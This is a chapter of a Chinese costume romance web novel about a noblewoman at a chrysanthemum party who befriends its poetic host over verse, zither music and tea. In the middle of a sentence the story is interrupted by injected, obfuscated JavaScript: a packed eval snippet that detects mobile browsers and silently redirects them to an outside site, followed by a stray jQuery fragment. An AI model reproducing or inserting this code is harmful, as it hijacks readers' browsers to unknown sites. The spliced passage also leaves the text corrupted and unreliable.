三日后辰时过半，温以羡踩着青缎绣菊纹的软底鞋，身后跟着知余，踏着沾了薄霜的青石板路往东篱院去。
素色罗裙下摆扫过路边丛菊，惊起两只蜷在花瓣上的白蝶。
东篱院的朱漆角门大开着，最先撞入眼帘的是满院错落的菊丛。
粉的如霞、黄的似金，最惹眼的是廊下那几盆墨菊，花瓣浓紫近黑，衬着青玉花盆，倒有几分冷艳风骨。
门槛处早有丫鬟候着，见了她便笑着赶忙迎上来：“小姐这边请。”
温以羡笑着颔首，随她往西廊去。
廊下摆了几张梨花木桌，每桌上都搁着青瓷茶盏、蜜饯果子，还有一碟刚蒸好的蟹粉酥，热气中裹着香。
已有三位世家小姐坐在那里，见她来，纷纷颔首问好。
温以羡刚在空位上坐下，院门口便传来细碎的脚步声。
先是一位穿着水绿色绫罗裙，手里攥着块绣了缠枝莲纹丝帕的女子。
她快步走到温以羡桌前，笑着屈膝行礼，语气里满是热络：“温姐姐也来了？我前几日还念叨着，说许久没见着姐姐了呢。”
没等温以羡应声，又有两位小姐并肩进来。
一位着粉衣，一位着蓝衣，双双同时走到温以羡面前时，几乎是异口同声地问好：“温小姐安好。”
粉衣女子还特意从袖袋里掏出个小巧的螺钿盒子，递到温以羡手边：“这是我阿娘从江南带回来的香粉，据说抹在脸上比脂粉还细腻，想着温小姐或许能用得上。”
最后来的是个年纪稍小的姑娘，穿着鹅黄色的襦裙，衬得整个人都十分灵气。
她走到温以羡身边时，先规规矩矩行了个福礼，才仰着笑脸说：“恒儿许久没见着姐姐了，姐姐可还记得我?”
她说着，还轻轻拉了拉温以羡的袖角，眼神里带着几分刻意的亲近。
这几位小姐围在桌旁，或递东西，或说些讨喜的话，目光却都黏在温以羡身上。
温以羡只是淡淡颔首，偶尔应一声，指尖捏着茶盏的力道却没松，眼底掠过一丝不易察觉的疏离。
她目光落在廊外那丛开得张扬的“墨菊”上，心思早飘出了这喧闹的西廊。
心想着要不是沈若恩递了这请柬，她更愿在府里临帖，总好过应付这满场的虚与委蛇。
“小姐，您看那边。”
知余悄悄凑到她耳边，指尖轻轻碰了碰她的衣袖。
温以羡这才回过神，顺着知余示意的方向望去，只见院门口的月洞门处，一抹烟霞色的身影正缓步走来，环佩叮当声随着秋风飘进廊下，压过了周遭的细碎闲谈。
她下意识松了松捏着茶盏的手指，眼底的疏离淡了些，转而添了几分对来人的好奇。
那女子鬓边只簪了一支素银菊钗，未施粉黛的脸上带着浅笑，眼底像盛着秋日里温软的光。
“久等了。”
她走到主位的梨花木桌前，先对着众人屈膝行了个礼，声音温温柔柔的，像浸了蜜的温茶。
待她坐下时，袖角滑落，露出腕上一串浅碧色的玉珠串，随着她抬手端茶的动作，珠子轻轻碰撞，发出细碎的声响。
温以羡就坐在离她不远的位子，恰好能看见她垂眸时眼睫投下的浅浅阴影。
“今年的菊开得晚了些，好在今日都盛放了。”
沈若恩抬眸看向众人，目光扫过温以羡时，还特意多停留了一瞬，笑着补充道：“尤其是温小姐面前那盆‘玉翎管’，花瓣像极了上好的羊脂玉。”
她说话时总带着几分书卷气，连赞菊都不提“好看”，只说“花瓣如羊脂玉”。
温以羡觉得，眼前的沈若恩，倒真像从诗里走出来的女子，温婉得恰到好处，又带着藏不住的雅致。
沈若恩抬手拢了拢鬓边的碎发，指尖不经意拂过那支素簪，簪头坠着的细小花蕊随动作轻轻晃动，竟比廊下盛放的秋菊更添几分灵动。
“前几日读《菊谱》，见书中说‘秋菊有佳色，裛露掇其英’，总觉得少了些实感，今日与大家一同赏菊，倒像是把诗里的景落到了眼前。”
她谈及诗书时，眼底会泛起细碎的光，没有半分刻意炫耀的模样，只像寻常人分享喜欢的玩意儿。
温以羡望着她那副认真又温柔的模样，倒真应了诗里“人淡如菊”的意境，让方才应付旁人时的烦闷，都悄悄散了些。
“光赏菊吃茶未免单调，不如咱们各展些才艺助助兴？”
坐在角落的蓝衣女子忽然开口，话音刚落便笑着看向温以羡：“温小姐身份尊贵，不如先给我们抛砖引玉？”
这话看似捧她，实则是将她推到了众人眼前——谁都想看看这尚书府的小姐究竟有几分能耐。
温以羡捏着茶盏的指尖微微一紧，有点无语，心想：这人是故意挑事吧。
一旁的知余气不打一处来，正想反驳，不等她开口，沈若恩的声音温温软软地插了进来：“周小姐这话可不对，抛砖引玉哪有让贵客先动手的道理？我是东道，自然该我先来。”
说罢，她不等那蓝衣女子反应，便起身走到廊下的古筝旁。
那琴是上好的桐木所制，琴弦泛着温润的光，她坐下时裙摆轻轻扫过琴身，抬手拨弦的瞬间，一串清越的音符便顺着秋风飘了出来。
曲子是《秋菊吟》，调子舒缓，却被她弹出了几分菊的傲骨。
蓝衣女子脸色僵了僵，却也只能跟着众人拍手。
琴弦余音还绕着廊下的菊丛打转，温以羡望着沈若恩转身时递来的温和目光，心里泛起一丝暖意。
没等众人再多夸赞，温以羡忽然抬眸，笑着开口：“沈小姐的曲弹得雅致，倒让我也起了兴致。方才瞧着廊外那丛‘墨荷’开得正好，便胡诌了首小诗，念与各位听听。”
她话音落时，满廊都静了下来。
只见她垂眸望着阶前沾露的菊瓣，清润的声音随着秋风漫开。
“墨瓣凝霜抱暗香，疏枝横影映回廊。不与春红争艳色，独留清气满秋光。”
诗罢，沈若恩率先拍手，眼底亮着光：“‘独留清气满秋光’这句，既写了菊的傲骨，又藏着温小姐的心境，真是绝妙！”
一旁的蓝衣女子脸色更僵，却也只能跟着附和，而温以羡望着沈若恩，悄悄弯了弯唇角。
日头渐渐往西斜，暖金色的光透过廊檐落在桌案上，把青瓷茶盏映得发亮。
方才热闹的西廊渐渐静了下来，只剩温以羡、知余、沈若恩和几个收拾残局的丫鬟。
温以羡望着廊下被风吹得微微晃动的菊枝，指尖捻着片落在袖上的“玉翎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470023|185531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
管”花瓣，心里盘算着怎么开口。
沈若恩与她如此投契，她实在想好好认识一番。
没等她起身，沈若恩已先走到她面前，手里拿着个素白的瓷瓶，瓶里插着两枝开得正好的“墨荷”菊。
“温小姐，方才见你总盯着这菊看，便折了两枝，想着送你带回府去。”
她说着递过瓷瓶，忽然又笑了：“我早早便听说了温小姐的名声，今日终得见此佳人。”
温以羡接过瓷瓶，指尖触到冰凉的瓶身，却觉心里暖融融的。
她抬眸看向沈若恩，见她眼底满是真诚的期待，便笑着点头：“沈小姐谬赞，我也有意与沈小姐相识。”
沈若恩闻言眼睛亮了亮，像落了星光在眼底，忙侧身做了个“请”的手势。
“那太好了，温小姐随我来，我院里晒了新菊，泡出来的茶带着点蜜香，正好请你尝尝。”
两人并肩往东侧的小院走，脚下青石板缝里长着些细碎的苔藓，被秋阳晒得软软的。
沈若恩走在旁边，没再提宴上的热闹，只指着墙边一丛爬藤月季笑：“这花本该谢了，偏今年秋暖，还留着几朵，倒像特意等着陪菊开似的。”
温以羡顺着她的目光望去，果然见几朵粉月季藏在绿叶间，和不远处的□□相映成趣。
她想起方才宴上沈若恩替自己解围的模样，轻声道：“今日多谢沈小姐，若不是你……”
“哎，该是我向温小姐道谢才对。”
沈若恩转头打断她，眼底带着真切的笑意：“你的诗一出来，满院的菊都像活了似的，我还怕这赏菊宴少了点雅趣，是你帮我圆了场呢。”
说话间已到院门口，沈若恩推开竹门，一股淡淡的菊香混着茶香扑面而来。
青石板铺就的小径绕着一方石桌，桌上早摆好了两只冰裂纹瓷杯，沈若恩引着温以羡坐下，丫鬟青茗便提着锡制茶炉快步过来，壶中滚水注入杯中时，茶叶在水里舒展，浮起一层淡绿的茶沫，菊香混着茶香愈发清透。
“这是用院里的‘白牡丹’菊和雨前龙井一起窨的，前日刚收了，还没给旁人尝过。”
沈若恩端起茶杯递过去，指尖碰了碰杯壁：“温一温再喝，不刮嗓子。”
温以羡接过抿了一口，先是龙井的醇厚，后是菊的清甜在舌尖散开，她忍不住弯了弯唇：“比寻常菊花茶多了些甘醇，沈小姐倒会琢磨这些。”
“也是闲时无事，跟着阿娘学的。”
沈若恩笑了笑，指尖轻轻拨弄着杯沿：“去年宫宴上温小姐作的那首《秋雁赋》，我特意抄在诗集里，总觉得‘云横塞北千峰雪，雁带江南一片秋’这句，把天地都写活了。”
温以羡愣了愣，随即失笑：“沈小姐一直待在边境，前几日才随沈校尉回京，怎会对京中宫宴上的诗作这般清楚？”
沈若恩指尖一顿，随即弯唇，眼底泛起些细碎的暖意：“虽在边境，却总托京中旧友捎些书报来。去年宫宴后，京里盛行抄录宴上佳作，我托人寻来的诗册里，便有温小姐的这首《秋雁赋》。”
她抬手拢了拢鬓边碎发，声音轻得像落在茶盏上的菊瓣：“当时在边境看雁南飞，正愁没言语形容那景，读到‘雁带江南一片秋’，倒像真见着了诗里的江南，连带着对京中也多了几分盼头。”